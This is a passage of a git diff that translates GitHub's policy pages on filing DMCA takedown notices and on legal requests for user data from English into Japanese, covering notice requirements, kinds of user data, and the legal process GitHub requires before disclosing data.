+***異議申し立て通知を受け取る可能性があります。***テイクダウン通知の影響を受けるユーザは、[異議申し立て通知](/articles/guide-to-submitting-a-dmca-counter-notice)を送信することができます。 その場合、GitHub のコンテンツに関連する侵害行為にユーザが関与することを差し止めるよう求める法的措置を講じたことがあなたから当社に通知されない限り、当社は 10〜14 日以内にコンテンツを再度有効にします。
 
-***Your Complaint Will Be Published.*** As noted in our [DMCA Takedown Policy](/articles/dmca-takedown-policy#d-transparency), after redacting personal information, we publish all complete and actionable takedown notices at <https://github.com/github/dmca>.
+***あなたの苦情は公開されます。***[DMCA テイクダウンポリシー](/articles/dmca-takedown-policy#d-transparency)に記載されているように、当社は、完全かつ法的に有効なすべてのテイクダウン通知を、個人情報を編集した上、<https://github.com/github/dmca> で公開しています。
 
-***GitHub Isn't The Judge.***
-GitHub exercises little discretion in the process other than determining whether the notices meet the minimum requirements of the DMCA. It is up to the parties (and their lawyers) to evaluate the merit of their claims, bearing in mind that notices must be made under penalty of perjury.
+***GitHub は裁判官ではありません。***GitHub は、通知が DMCA の最小要件を満たしているかどうかを判断する以外、このプロセスではほとんど裁量権を行使しません。 主張の価値の評価は当事者（およびその弁護士）に委ねられます。なお、通知は偽証罪によって罰せられる対象になることにご注意ください。
 
-## Your Complaint Must ...
+## 申し立てられる苦情は ...
 
-1. **Include the following statement: "I have read and understand GitHub's Guide to Filing a DMCA Notice."** We won't refuse to process an otherwise complete complaint if you don't include this statement. But we'll know that you haven't read these guidelines and may ask you to go back and do so.
+1. **"I have read and understand GitHub's Guide to Filing a DMCA Notice."（GitHub の DMCA 通知提出ガイドを読んで理解しました。）という文言を含んでいなければなりません。**この文言が含まれていないとしても、苦情に不備がなければ当社は処理を拒否しません。 ただし、このガイドラインを読んでいないと判断できるため、ガイドラインを読むように求める場合があります。
 
-2. **Identify the copyrighted work you believe has been infringed.** This information is important because it helps the affected user evaluate your claim and give them the ability to compare your work to theirs. The specificity of your identification will depend on the nature of the work you believe has been infringed. If you have published your work, you might be able to just link back to a web page where it lives. If it is proprietary and not published, you might describe it and explain that it is proprietary. If you have registered it with the Copyright Office, you should include the registration number. If you are alleging that the hosted content is a direct, literal copy of your work, you can also just explain that fact.
+2. **侵害されていると思われる著作物を特定しなければなりません。**この情報は重要です。なぜなら、影響を受けるユーザがあなたの主張を評価し、あなたのコンテンツと自分のコンテンツを比較するために、この情報が役立つからです。 特定の具体性は、侵害されたと思われるコンテンツの性質によって異なります。 あなたがコンテンツを公開している場合は、そのコンテンツが存在するウェブページへのリンクを貼ることができるかもしれません。 プロプライエタリで公開されていないコンテンツの場合は、それを説明し、所有権があることを説明できます。 著作権局に登録しているコンテンツの場合は、登録番号を記載する必要があります。 ホストされたコンテンツが自分のコンテンツを直接的、文字通りに複製していると主張する場合は、その事実を説明することもできます。
 
-3. **Identify the material that you allege is infringing the copyrighted work listed in item #2, above.** It is important to be as specific as possible in your identification. This identification needs to be reasonably sufficient to permit GitHub to locate the material. At a minimum, this means that you should include the URL to the material allegedly infringing your copyright. If you allege that less than a whole repository infringes, identify the specific file(s) or line numbers within a file that you allege infringe. If you allege that all of the content at a URL infringes, please be explicit about that as well. 
-   - Please note that GitHub will *not* automatically disable [forks](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork) when disabling a parent repository. If you have investigated and analyzed the forks of a repository and believe that they are also infringing, please explicitly identify each allegedly infringing fork. Please also confirm that you have investigated each individual case and that your sworn statements apply to each identified fork. In rare cases, you may be alleging copyright infringement in a full repository that is actively being forked. If at the time that you submitted your notice, you identified all existing forks of that repository as allegedly infringing, we would process a valid claim against all forks in that network at the time we process the notice. We would do this given the likelihood that all newly created forks would contain the same content. In addition, if the reported network that contains the allegedly infringing content is larger than one hundred (100) repositories and thus would be difficult to review in its entirety, we may consider disabling the entire network if you state in your notice that, "Based on the representative number of forks you have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository." Your sworn statement would apply to this statement.
+3. **上記の第 2 項に記載されている著作物を侵害しているとあなたが主張するデータを特定してください。**できる限り具体的に特定することが大切です。 GitHub がそのデータを見つけるために十分な情報を提供してください。 具体的には、少なくとも、著作権を侵害しているとされるデータの URL を含める必要があります。 リポジトリ全体が著作権を侵害していると主張する場合は、あなたが侵害を主張する特定のファイルまたはファイル内の行番号を特定してください。 URL のすべてのコンテンツが著作権を侵害していると主張する場合は、それについても明示してください。
+   - 親リポジトリを無効にしても[フォーク](/articles/dmca-takedown-policy#b-what-about-forks-or-whats-a-fork)は自動的に*無効にならない*点にご注意ください。 リポジトリのフォークを調査、分析し、フォークも著作権を侵害していると思われる場合は、侵害の疑いのある各フォークを明示的に特定してください。 また、個々のケースを調査したことと、宣誓の上での陳述が特定された各フォークに適用されることを確認してください。 時には、活発にフォークされているリポジトリ全体で著作権の侵害を主張することもあるでしょう。 あなたが通知を送信した時点で、そのリポジトリの既存フォーク全体を指定して著作権を侵害していると申し立てた場合、通知を処理する際に、そのネットワークにあるすべてのフォークに対して、有効な請求を適用します。 新しく作成されたフォークすべてに同じコンテンツが含まれる可能性を考慮して、これを行います。 さらに、著作権侵害の疑いがあるコンテンツを含むとして報告されたネットワークが 100 リポジトリを超え、そのすべてを確認することが困難である際、通知の中であなたが次のように記載している場合にはネットワーク全体の無効化を検討します。「サンプルとして十分な数のフォークを確認した結果、私はこのフォークのすべてまたは大部分が、親リポジトリと同程度に著作権を侵害しているものと信じています。(Based on the representative number of forks you have reviewed, I believe that all or most of the forks are infringing to the same extent as the parent repository.)」 あなたの宣誓は、この申し立てに対して適用されます。
 
-4. **Explain what the affected user would need to do in order to remedy the infringement.** Again, specificity is important. When we pass your complaint along to the user, this will tell them what they need to do in order to avoid having the rest of their content disabled. Does the user just need to add a statement of attribution? Do they need to delete certain lines within their code, or entire files? Of course, we understand that in some cases, all of a user's content may be alleged to infringe and there's nothing they could do short of deleting it all. If that's the case, please make that clear as well.
+4. **著作権侵害を是正するために、影響を受けるユーザが何をする必要があるかを説明しなければなりません。**繰り返しになりますが、具体性は重要です。 当社があなたの苦情をユーザに伝える際、この情報があることで残りのコンテンツが無効にされないようにするためにユーザが何をする必要があるかがわかります。 ユーザは帰属表示を追加するだけでいいのか、 コード内の特定の行、またはファイル全体を削除する必要があるのか。 もちろん、ユーザのコンテンツ全体が著作権を侵害している場合は、コンテンツをすべて削除する以外にユーザに選択肢はありません。 そのような場合は、やはりそれを明示してください。
 
-5. **Provide your contact information.** Include your email address, name, telephone number and physical address.
+5. **あなたの連絡先情報を提供しなければなりません。**メールアドレス、名前、電話番号、住所を記載してください。
 
-6. **Provide contact information, if you know it, for the alleged infringer.** Usually this will be satisfied by providing the GitHub username associated with the allegedly infringing content. But there may be cases where you have additional knowledge about the alleged infringer. If so, please share that information with us.
+6. **著作権侵害の疑いがある人の連絡先情報を知っている場合は、それを提供しなければなりません。**通常、この条件は、著作権を侵害しているとされるコンテンツに関連付けられた GitHub ユーザ名を提供することで満たされます。 しかし、著作権侵害の疑いがある人について他にも知っていることがある場合もあるでしょう。 そのような場合は、その情報を当社に伝えてください。
 
-7. **Include the following statement: "I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration."**
+7. **"I have a good faith belief that use of the copyrighted materials described above on the infringing web pages is not authorized by the copyright owner, or its agent, or the law. I have taken fair use into consideration."（私は、著作権所有者、その代理人、または法律により、著作権を侵害するウェブページで上記の著作物の使用が許可されていないことを確信しています。フェアユースの可能性も検討しましたが、フェアユースには該当しません。） という文言を含んでいなければなりません。**
 
-8. **Also include the following statement: "I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed."**
+8. **"I swear, under penalty of perjury, that the information in this notification is accurate and that I am the copyright owner, or am authorized to act on behalf of the owner, of an exclusive right that is allegedly infringed."（私は、偽証罪の罰則に基づき、この通知の情報は正確であり、私が侵害が申し立てられる排他的権利の著作権所有者であるか、所有者に代わって行動することが認められている者であることを誓います。）という文言も含んでいなければなりません。**
 
-9. **Include your physical or electronic signature.**
+9. **物理的または電子的な署名を含めてください。**
 
-## Complaints about Anti-Circumvention Technology
+## 反迂回技術に関する苦情
 
-The Copyright Act also prohibits the circumvention of technological measures that effectively control access to works protected by copyright. If you believe that content hosted on GitHub violates this prohibition, please send us a report through our {% data variables.contact.contact_dmca %}. A circumvention claim must include the following details about the technical measures in place and the manner in which the accused project circumvents them. Specifically, the notice to GitHub must include detailed statements that describe:
-1. What the technical measures are;
-2. How they effectively control access to the copyrighted material; and 
-3. How the accused project is designed to circumvent their previously described technological protection measures.
+著作権法は、著作権で保護されている著作物へのアクセスを効果的に制御する技術的手段の迂回も禁止しています。 GitHub でホストされているコンテンツがこの禁止事項に違反すると思われる場合は、{% data variables.contact.contact_dmca %} からレポートを送信してください。 迂回に関する申し立てには、訴えるプロジェクトが備える技術的手段、および迂回の方法について、以下を詳述する必要があります。 特に GitHub への通知には、以下を説明する詳細な文章を記載する必要があります。
+1. 技術的手段
+2. 用いられている技術的手段が著作権で保護されたものへのアクセスを効果的に制限する方法
+3. 訴えるプロジェクトが、前述の技術的保護措置をどのように迂回するよう設計されているか
 
-## How to Submit Your Complaint
+## 苦情の提出方法
 
-The fastest way to get a response is to enter your information and answer all the questions on our {% data variables.contact.contact_dmca %}.
+{% data variables.contact.contact_dmca %} で情報を入力し、すべての質問に答えることで、最も早く回答を得ることができます。
 
-You can also send an email notification to <copyright@github.com>. You may include an attachment if you like, but please also include a plain-text version of your letter in the body of your message.
+また、<copyright@github.com> にメール通知を送信することもできます。 必要に応じて添付ファイルを含めることもできますが、メッセージの本文には平文版の文書も含めてください。
 
-If you must send your notice by physical mail, you can do that too, but it will take *substantially* longer for us to receive and respond to it. Notices we receive via plain-text email have a much faster turnaround than PDF attachments or physical mail. If you still wish to mail us your notice, our physical address is:
+通知を郵送する必要がある場合は、それも可能ですが、通知の受け取りと応答には*相当な*時間がかかります。 当社は、平文のメールで作られた通知の方が、PDF ファイルが添付されている場合や郵送の場合よりもずっと早く回答することができます。 それでも通知を郵送する場合は、当社の住所は次のとおりです。
 
 ```
 GitHub, Inc
diff --git a/translations/ja-JP/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md b/translations/ja-JP/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
index d78d303584..680beb9e20 100644
--- a/translations/ja-JP/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
+++ b/translations/ja-JP/content/github/site-policy/guidelines-for-legal-requests-of-user-data.md
@@ -1,5 +1,5 @@
 ---
-title: Guidelines for Legal Requests of User Data
+title: ユーザデータの法的リクエストに関するガイドライン
 redirect_from:
   - /law-enforcement-guidelines
   - /articles/guidelines-for-legal-requests-of-user-data
@@ -10,241 +10,185 @@ topics:
   - Legal
 ---
 
-Are you a law enforcement officer conducting an investigation that may involve user content hosted on GitHub?
-Or maybe you're a privacy-conscious person who would like to know what information we share with law enforcement and under what circumstances.
-Either way, you're on the right page.
+ここは、GitHub にホストされているユーザコンテンツを調査する法執行官の方や、 当社が法執行機関とどのような情報をどのような状況で共有するのかを知りたいとお考えの方に ご覧いただきたいページです。
 
-In these guidelines, we provide a little background about what GitHub is, the types of data we have, and the conditions under which we will disclose private user information.
-Before we get into the details, however, here are a few important details you may want to know:
+このガイドラインでは、GitHub の簡単な背景、当社が保有しているデータの種類、当社が個人的なユーザ情報を開示する条件について説明します。 詳細に入る前に、皆様が関心をお持ちになるかもしれない大切なことを以下に述べておきます。
 
-- We will [**notify affected users**](#we-will-notify-any-affected-account-owners) about any requests for their account information, unless prohibited from doing so by law or court order.
-- We will not disclose **location-tracking data**, such as IP address logs, without a [valid court order or search warrant](#with-a-court-order-or-a-search-warrant).
-- We will not disclose any **private user content**, including the contents of private repositories, without a valid [search warrant](#only-with-a-search-warrant).
+- 法律または裁判所命令により禁止されていない限り、アカウント情報の要求がある場合は当社はその旨を[**影響を受けるユーザに通知**](#we-will-notify-any-affected-account-owners)します。
+- [有効な裁判所命令または捜査令状](#with-a-court-order-or-a-search-warrant)がない限り、当社は IP アドレスログなどの**位置追跡データ**を開示しません。
+- 有効な[検索令状](#only-with-a-search-warrant)がない限り、当社はプライベートリポジトリのコンテンツを含む**個人的なユーザコンテンツ**を開示しません。
 
-## About these guidelines
+## 本ガイドラインについて
 
-Our users trust us with their software projects and code—often some of their most valuable business or personal assets.
-Maintaining that trust is essential to us, which means keeping user data safe, secure, and private.
+ソフトウェアプロジェクトやコードは、多くの場合、最も貴重なビジネス資産または個人資産の一部であり、その取り扱いについて、当社はユーザから信頼されています。 その信頼を裏切らない、つまり、ユーザデータを安心、安全、プライベートに保つことは当社にとって極めて重要です。
 
-While the overwhelming majority of our users use GitHub's services to create new businesses, build new technologies, and for the general betterment of humankind, we recognize that with millions of users spread all over the world, there are bound to be a few bad apples in the bunch.
-In those cases, we want to help law enforcement serve their legitimate interest in protecting the public.
+ほとんどのユーザは新しいビジネスを立ち上げたり、新しいテクノロジーを構築したり、または人類のために GitHub のサービスを使用していますが、世界中に何百万人ものユーザがいる中で、悪意を持つ者が存在することも否めません。 そのような場合、私たちは、公衆を保護するという正当な利益に取り組む法執行機関を支援したいと考えています。
 
-By providing guidelines for law enforcement personnel, we hope to strike a balance between the often competing interests of user privacy and justice.
-We hope these guidelines will help to set expectations on both sides, as well as to add transparency to GitHub's internal processes.
-Our users should know that we value their private information and that we do what we can to protect it.
-At a minimum, this means only releasing data to third-parties when the appropriate legal requirements have been satisfied.
-By the same token, we also hope to educate law enforcement professionals about GitHub's systems so that they can more efficiently tailor their data requests and target just that information needed to conduct their investigation.
+当社は、法執行機関の担当者にガイドラインを提供することで、ユーザのプライバシーと正義というしばしば競合する利害のバランスを取りたいと考えています。 このガイドラインが双方の期待値の設定に役立つと同時に、GitHub の内部プロセスに透明性をもたらすことを願っています。 ユーザの皆様には、当社が個人情報を大切にし、それを保護するために何を行っているのかを認識していただきたく存じます。 少なくとも適切な法的要件が満たされない限り、当社がデータを第三者に明け渡すことはありません。 同様に法執行官の方に対しては、より効率的なデータ要求を行い、調査の実施に必要な情報のみにターゲットを絞ることができるように GitHub のシステムについて理解していただきたいと考えています。
 
-## GitHub terminology
+## GitHub の用語
 
-Before asking us to disclose data, it may be useful to understand how our system is implemented.
-GitHub hosts millions of data repositories using the [Git version control system](https://git-scm.com/video/what-is-version-control).
-Repositories on GitHub—which may be public or private—are most commonly used for software development projects, but are also often used to work on content of all kinds.
+データの開示を要求する前に、当社のシステムがどのように実装されているかを理解しておくことをお勧めします。 GitHub は、[Git バージョン管理システム](https://git-scm.com/video/what-is-version-control)を使用して、何百万ものデータリポジトリをホストしています。 GitHub のリポジトリ（公開されている場合も非公開の場合もあります）は、ソフトウェア開発プロジェクトで使用されるのが最も一般的ですが、あらゆる種類のコンテンツの作業にも使用されます。
 
-- [**Users**](/articles/github-glossary#user) —
-Users are represented in our system as personal GitHub accounts.
-Each user has a personal profile, and can own multiple repositories.
-Users can create or be invited to join organizations or to collaborate on another user's repository.
+- [**ユーザ**](/articles/github-glossary#user) — ユーザは、当社のシステム内では個人の GitHub アカウントとして表されます。 各ユーザには個人プロフィールがあり、複数のリポジトリを所有できます。 ユーザは Organization を作成したり招待を受けて Organization に参加することで、別のユーザのリポジトリでコラボレーションすることができます。
 
-- [**Collaborators**](/articles/github-glossary#collaborator) —
-A collaborator is a user with read and write access to a repository who has been invited to contribute by the repository owner.
+- [**コラボレータ**](/articles/github-glossary#collaborator) — コラボレータとは、コントリビューションのためにリポジトリ所有者から招待されたリポジトリへの読み取りおよび書き込みアクセス権を持つユーザです。
 
-- [**Organizations**](/articles/github-glossary#organization) —
-Organizations are a group of two or more users that typically mirror real-world organizations, such as businesses or projects.
-They are administered by users and can contain both repositories and teams of users.
+- [**Organization**](/articles/github-glossary#organization) — Organization は、通常、ビジネスやプロジェクトなどの現実の組織を反映する 2 人以上のユーザのグループです。 Organization はユーザによって管理され、リポジトリとユーザのチームの両方を含めることができます。
 
-- [**Repositories**](/articles/github-glossary#repository) —
-A repository is one of the most basic GitHub elements.
-They may be easiest to imagine as a project's folder.
-A repository contains all of the project files (including documentation), and stores each file's revision history.
-Repositories can have multiple collaborators and, at its administrators' discretion, may be publicly viewable or not.
+- [**リポジトリ**](/articles/github-glossary#repository) — リポジトリは、GitHub の最も基本的な要素の 1 つです。 プロジェクトのフォルダと考えればいいでしょう。 リポジトリ 1 つに (ドキュメントを含む) すべてのプロジェクトファイルが含まれ、各ファイルのリビジョン履歴が格納されます。 リポジトリには複数のコラボレータが参加可能で、管理者の裁量により、公開される場合とされない場合があります。
 
-- [**Pages**](/articles/what-is-github-pages) —
-GitHub Pages are public webpages freely hosted by GitHub that users can easily publish through code stored in their repositories.
-If a user or organization has a GitHub Page, it can usually be found at a URL such as `https://username.github.io` or they may have the webpage mapped to their own custom domain name.
+- [**Pages**](/articles/what-is-github-pages) — GitHub Pages は GitHub が無料でホストする公開ウェブページで、ユーザはリポジトリに保存されたコードを使用して簡単に公開できます。 ユーザまたは Organization に GitHub Pages がある場合、通常は `https://username.github.io` などの URL で見つけることができます。または、ウェブページが独自のカスタムドメイン名にマップされている場合もあります。
 
-- [**Gists**](/articles/creating-gists) —
-Gists are snippets of source code or other text that users can use to store ideas or share with friends.
-Like regular GitHub repositories, Gists are created with Git, so they are automatically versioned, forkable and downloadable.
-Gists can either be public or secret (accessible only through a known URL). Public Gists cannot be converted into secret Gists.
+- [**Gist**](/articles/creating-gists) — Gist は、ユーザがアイデアを保存したり、友人と共有したりするために使用できるソースコードまたはその他のテキストの断片です。 通常の GitHub リポジトリと同様に、Gist は Git で作成されるため、自動的にバージョン管理され、フォークおよびダウンロードが可能です。 Gist は、パブリックにすることもシークレット（既知の URL からのみアクセス可能）にすることもできます。 ただし、パブリック Gist をシークレット Gist に変換することはできません。
 
-## User data on GitHub.com
+## GitHub.com のユーザデータ
 
-Here is a non-exhaustive list of the kinds of data we maintain about users and projects on GitHub.
+ここでは、当社が管理している GitHub のユーザとプロジェクトに関する各種データについて説明します。
 
 - <a name="public-account-data"></a>
-**Public account data** —
-There is a variety of information publicly available on GitHub about users and their repositories.
-User profiles can be found at a URL such as `https://github.com/username`.
-User profiles display information about when the user created their account as well their public activity on GitHub.com and social interactions.
-Public user profiles can also include additional information that a user may have chosen to share publicly.
-All user public profiles display:
-  - Username
-  - The repositories that the user has starred
-  - The other GitHub users the user follows
-  - The users that follow them
+**パブリックアカウントデータ** — GitHub には、ユーザとそのリポジトリに関するさまざまな情報が公開されています。 ユーザプロフィールは、`https://github.com/username` などの URL にあります。 ユーザプロフィールには、ユーザがいつアカウントを作成したかに関する情報や、GitHub.com での公開アクティビティやソーシャルインタラクションが表示されます。 パブリックユーザプロフィールには、ユーザがパブリックに共有すること選択したその他の情報が含まれる場合もあります。 すべてのユーザパブリックプロフィールには、以下が表示されます。
+  - ユーザ名
+  - ユーザが Star を付けたリポジトリ
+  - ユーザがフォローする他の GitHub ユーザ
+  - その人をフォローしているユーザ
 
-  Optionally, a user may also choose to share the following information publicly:
-  - Their real name
-  - An avatar
-  - An affiliated company
-  - Their location
-  - A public email address
-  - Their personal web page
-  - Organizations to which the user is a member (*depending on either the organizations' or the users' preferences*)
+  オプションで、ユーザは次の情報をパブリックに共有することもできます。
+  - 本名
+  - アバター
+  - 所属先の会社
+  - 所在地
+  - 公開メールアドレス
+  - 個人的なウェブページ
+  - ユーザがメンバーになっている Organization（*Organization またはユーザの環境設定によります*）
 
 - <a name="private-account-data"></a>
-**Private account data** —
-GitHub also collects and maintains certain private information about users as outlined in our [Privacy Policy](/articles/github-privacy-statement).
-This may include:
-  - Private email addresses
-  - Payment details
-  - Security access logs
-  - Data about interactions with private repositories
+**プライベートアカウントデータ** — GitHub は、[プライバシーポリシー](/articles/github-privacy-statement)に記載されているように、ユーザに関する特定のプライベート情報も収集および管理します。 これには以下が含まれます。
+  - プライベートメールアドレス
+  - 支払い情報
+  - セキュリティアクセスログ
+  - プライベートリポジトリとのやり取りに関するデータ
 
-  To get a sense of the type of private account information that GitHub collects, you can visit your {% data reusables.user_settings.personal_dashboard %} and browse through the sections in the left-hand menubar.
+  GitHub が収集するプライベートアカウント情報の種類を確認するには、{% data reusables.user_settings.personal_dashboard %} にアクセスして、左側のメニューバーのセクションを参照してください。
 
 - <a name="organization-account-data"></a>
-**Organization account data** —
-Information about organizations, their administrative users and repositories is publicly available on GitHub.
-Organization profiles can be found at a URL such as `https://github.com/organization`.
-Public organization profiles can also include additional information that the owners have chosen to share publicly.
-All organization public profiles display:
-  - The organization name
-  - The repositories that the owners have starred
-  - All GitHub users that are owners of the organization
+**Organization アカウントデータ** — Organization、その管理ユーザー、およびリポジトリに関する情報は、GitHub で公開されています。 Organization プロフィールは、`https://github.com/organization` などの URL にあります。 パブリック Organization プロフィールには、コードオーナーがパブリックに共有することを選択したその他の情報が含まれる場合もあります。 すべての Organization パブリックプロフィールには、以下が表示されます。
+  - Organization 名
+  - コードオーナーが Star を付けたリポジトリ
+  - Organization のコードオーナーであるすべての GitHub ユーザ
 
-  Optionally, administrative users may also choose to share the following information publicly:
-  - An avatar
-  - An affiliated company
-  - Their location
-  - Direct Members and Teams
-  - Collaborators
+  オプションで、管理ユーザは次の情報をパブリックに共有することもできます。
+  - アバター
+  - 所属先の会社
+  - 所在地
+  - 直属のメンバーとチーム
+  - コラボレータ
 
 - <a name="public-repository-data"></a>
-**Public repository data** —
-GitHub is home to millions of public, open-source software projects.
-You can browse almost any public repository (for example, the [Atom Project](https://github.com/atom/atom)) to get a sense for the information that GitHub collects and maintains about repositories.
-This can include:
+**パブリックリポジトリデータ** — GitHub は、何百万ものパブリックなオープンソースソフトウェアプロジェクトの拠点です。 ほぼすべてのパブリックリポジトリ（たとえば、[Atom プロジェクト](https://github.com/atom/atom)）を参照して、GitHub がリポジトリについて収集および管理する情報を確認できます。 これには以下が含まれます。
 
-  - The code itself
-  - Previous versions of the code
-  - Stable release versions of the project
-  - Information about collaborators, contributors and repository members
-  - Logs of Git operations such as commits, branching, pushing, pulling, forking and cloning
-  - Conversations related to Git operations such as comments on pull requests or commits
-  - Project documentation such as Issues and Wiki pages
-  - Statistics and graphs showing contributions to the project and the network of contributors
+  - コードそのもの
+  - コードの以前のバージョン
+  - プロジェクトの安定リリースバージョン
+  - コラボレータ、コントリビューター、リポジトリメンバーに関する情報
+  - コミット、ブランチ、プッシュ、プル、フォーク、クローンなどの Git 操作のログ
+  - プルリクエストまたはコミットに関するコメントなど、Git 操作に関連する会話
+  - Issue や Wiki ページなどのプロジェクト文書
+  - プロジェクトへのコントリビューションとコントリビューターのネットワークを示す、統計とグラフ
 
 - <a name="private-repository-data"></a>
-**Private repository data** —
-GitHub collects and maintains the same type of data for private repositories that can be seen for public repositories, except only specifically invited users may access private repository data.
+**プライベートリポジトリデータ** — GitHub は、パブリックリポジトリと同じタイプのデータをプライベートリポジトリとして収集および管理しますが、プライベートリポジトリデータにアクセスできるのは、招待されたユーザのみです。
 
 - <a name="other-data"></a>
-**Other data** —
-Additionally, GitHub collects analytics data such as page visits and information occasionally volunteered by our users (such as communications with our support team, survey information and/or site registrations).
+**その他のデータ** — さらに GitHub は、ページ訪問などの分析データや、ユーザが随時提供する情報（サポートチームとの通信内容、アンケート情報、サイト登録など）を収集します。
 
-## We will notify any affected account owners
+## 影響を受けるアカウントオーナーに対する通知
 
-It is our policy to notify users about any pending requests regarding their accounts or repositories, unless we are prohibited by law or court order from doing so. Before disclosing user information, we will make a reasonable effort to notify any affected account owner(s) by sending a message to their verified email address providing them with a copy of the subpoena, court order, or warrant so that they can have an opportunity to challenge the legal process if they wish. In (rare) exigent circumstances, we may delay notification if we determine delay is necessary to prevent death or serious harm or due to an ongoing investigation.
+当社は、法律または裁判所命令により禁止されている場合を除き、アカウントまたはリポジトリに関する保留中の要求についてユーザに通知することを方針としています。 必要に応じて法的手続きに異議を申し立てることができるよう、ユーザ情報を開示する前に、私たちは合理的な努力を払って影響を受けるアカウントオーナーに通知します。具体的には、確認済みのメールアドレスにメッセージを送信し、召喚状、裁判所命令、または令状の写しを提供します。 In (rare) exigent circumstances, we may delay notification if we determine delay is necessary to prevent death or serious harm or due to an ongoing investigation.
 
-## Disclosure of non-public information
+## 非公開情報の開示
 
-It is our policy to disclose non-public user information in connection with a civil or criminal investigation only with user consent or upon receipt of a valid subpoena, civil investigative demand, court order, search warrant, or other similar valid legal process. In certain exigent circumstances (see below), we also may share limited information but only corresponding to the nature of the circumstances, and would require legal process for anything beyond that.
-GitHub reserves the right to object to any requests for non-public information.
-Where GitHub agrees to produce non-public information in response to a lawful request, we will conduct a reasonable search for the requested information.
-Here are the kinds of information we will agree to produce, depending on the kind of legal process we are served with:
+当社は、ユーザの同意がある場合、または有効な召喚状、民事捜査要求、裁判所命令、捜査令状、もしくはその他の同様の有効な法的手続きを受け取った場合にのみ、民事または刑事捜査に関連して非公開ユーザ情報を開示することをポリシーとしています。 特定の緊急事態（下記参照）においては、当社は限られた情報を共有する場合がありますが、あくまでも状況の性質に応じて対応し、それを超えるものについては法的手続きを要求します。 GitHub は、非公開情報の要求に反対する権利を留保します。 GitHub は、合法的な要求に応じて非公開情報を提出することに同意した場合、要求された情報の合理的な調査を行います。 当社が提出に応じる情報の種類は次のとおりですが、これは当社が対応する法的手続きの種類次第です。
 
 - <a name="with-user-consent"></a>
-**With user consent** —
-GitHub will provide private account information, if requested, directly to the user (or an owner, in the case of an organization account), or to a designated third party with the user's written consent once GitHub is satisfied that the user has verified his or her identity.
+**ユーザの同意がある場合** — GitHub は、要求を受けた場合、ユーザの身元確認後、ユーザ（Organization アカウントの場合はコードオーナー）に直接、またはユーザの書面による同意がある場合は指定された第三者に、プライベートアカウント情報を提供します。
 
 - <a name="with-a-subpoena"></a>
-**With a subpoena** —
-If served with a valid subpoena, civil investigative demand, or similar legal process issued in connection with an official criminal or civil investigation, we can provide certain non-public account information, which may include:
+**召喚状がある場合** — 有効な召喚状、民事捜査要求、または正式な刑事もしくは民事捜査に関連して発行された同様の法的手続きによって求められた場合、当社は、以下を含む特定の非公開アカウント情報を提供する場合があります。
 
-  - Name(s) associated with the account
-  - Email address(es) associated with the account
-  - Billing information
-  - Registration date and termination date
-  - IP address, date, and time at the time of account registration
-  - IP address(es) used to access the account at a specified time or event relevant to the investigation
+  - アカウントに関連付けられた名前
+  - アカウントに関連付けられたメールアドレス
+  - 支払い情報
+  - 登録日と解約日
+  - アカウント登録時の IP アドレスと日時
+  - 調査に関連する特定の時間またはイベント時にアカウントにアクセスするために使用された IP アドレス
 
-In the case of organization accounts, we can provide the name(s) and email address(es) of the account owner(s) as well as the date and IP address at the time of creation of the organization account. We will not produce information about other members or contributors, if any, to the organization account or any additional information regarding the identified account owner(s) without a follow-up request for those specific users.
+Organization アカウントの場合、当社はアカウントオーナーの名前およびメールアドレス、並びに Organization アカウント作成時の日付と IP アドレスを提供する場合があります。 特定のユーザに確認要求を行うことなく、当社が Organization アカウントの他のメンバーもしくはコントリビューター（存在する場合）に関する情報、または特定されたアカウントオーナーに関する他の情報を提出することはありません。
 
-Please note that the information available will vary from case to case. Some of the information is optional for users to provide. In other cases, we may not have collected or retained the information.
+なお、対象となる情報はケースバイケースで異なりますのでご注意ください。 ユーザの任意で提供される情報もあります。 また、当社が情報を収集または保持していない場合もあります。
 
 - <a name="with-a-court-order-or-a-search-warrant"></a>
-**With a court order *or* a search warrant** — We will not disclose account access logs unless compelled to do so by either
-(i) a court order issued under 18 U.S.C. Section 2703(d), upon a showing of specific and articulable facts showing that there are reasonable grounds to believe that the information sought is relevant and material to an ongoing criminal investigation; or
-(ii) a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures, upon a showing of probable cause.
-In addition to the non-public user account information listed above, we can provide account access logs in response to a court order or search warrant, which may include:
+**裁判所命令*または*捜査令状**がある場合 — 当社は、(i) 求められている情報が進行中の犯罪捜査に関連し、重要であると信じる合理的な根拠があることを示す具体的かつ明確な事実を示した、合衆国法律集第 18 編 第 2703 条 (d) に基づいて発行された裁判所命令、または (ii) 連邦刑事訴訟規則または同等の州令状手続きに記載されている手続きの下で発行された、推定原因を示す捜査令状のいずれかで強制されない限り、アカウントアクセスログを開示しません。 上記の非公開ユーザアカウント情報に加えて、当社は裁判所命令または捜査令状に応じてアカウントアクセスログを提供する場合があります。これには以下が含まれます。
 
-  - Any logs which would reveal a user's movements over a period of time
-  - Account or private repository settings (for example, which users have certain permissions, etc.)
-  - User- or IP-specific analytic data such as browsing history
-  - Security access logs other than account creation or for a specific time and date
+  - 一定期間にわたるユーザの動きを明らかにするあらゆるログ
+  - アカウントまたはプライベートリポジトリの設定（たとえば、どのユーザが特定の権限を持つかなど）
+  - 閲覧履歴などのユーザまたは IP 固有の分析データ
+  - アカウント作成以外または特定の日時のセキュリティアクセスログ
 
 - <a name="only-with-a-search-warrant"></a>
-**Only with a search warrant** —
-We will not disclose the private contents of any user account unless compelled to do so under a search warrant issued under the procedures described in the Federal Rules of Criminal Procedure or equivalent state warrant procedures upon a showing of probable cause.
-In addition to the non-public user account information and account access logs mentioned above, we will also provide private user account contents in response to a search warrant, which may include:
+**捜索令状がある場合のみ** — 連邦刑事訴訟規則または同等の州令状手続きに記載されている手続きの下で発行された、推定原因を示す捜査令状に基づいて強制されない限り、当社はユーザアカウントの個人的なコンテンツを開示しません。 上記の非公開ユーザアカウント情報とアカウントアクセスログに加えて、当社は検索令状に応じて個人的なユーザアカウントのコンテンツも提供します。これには以下が含まれます。
 
-  - Contents of secret Gists
-  - Source code or other content in private repositories
-  - Contribution and collaboration records for private repositories
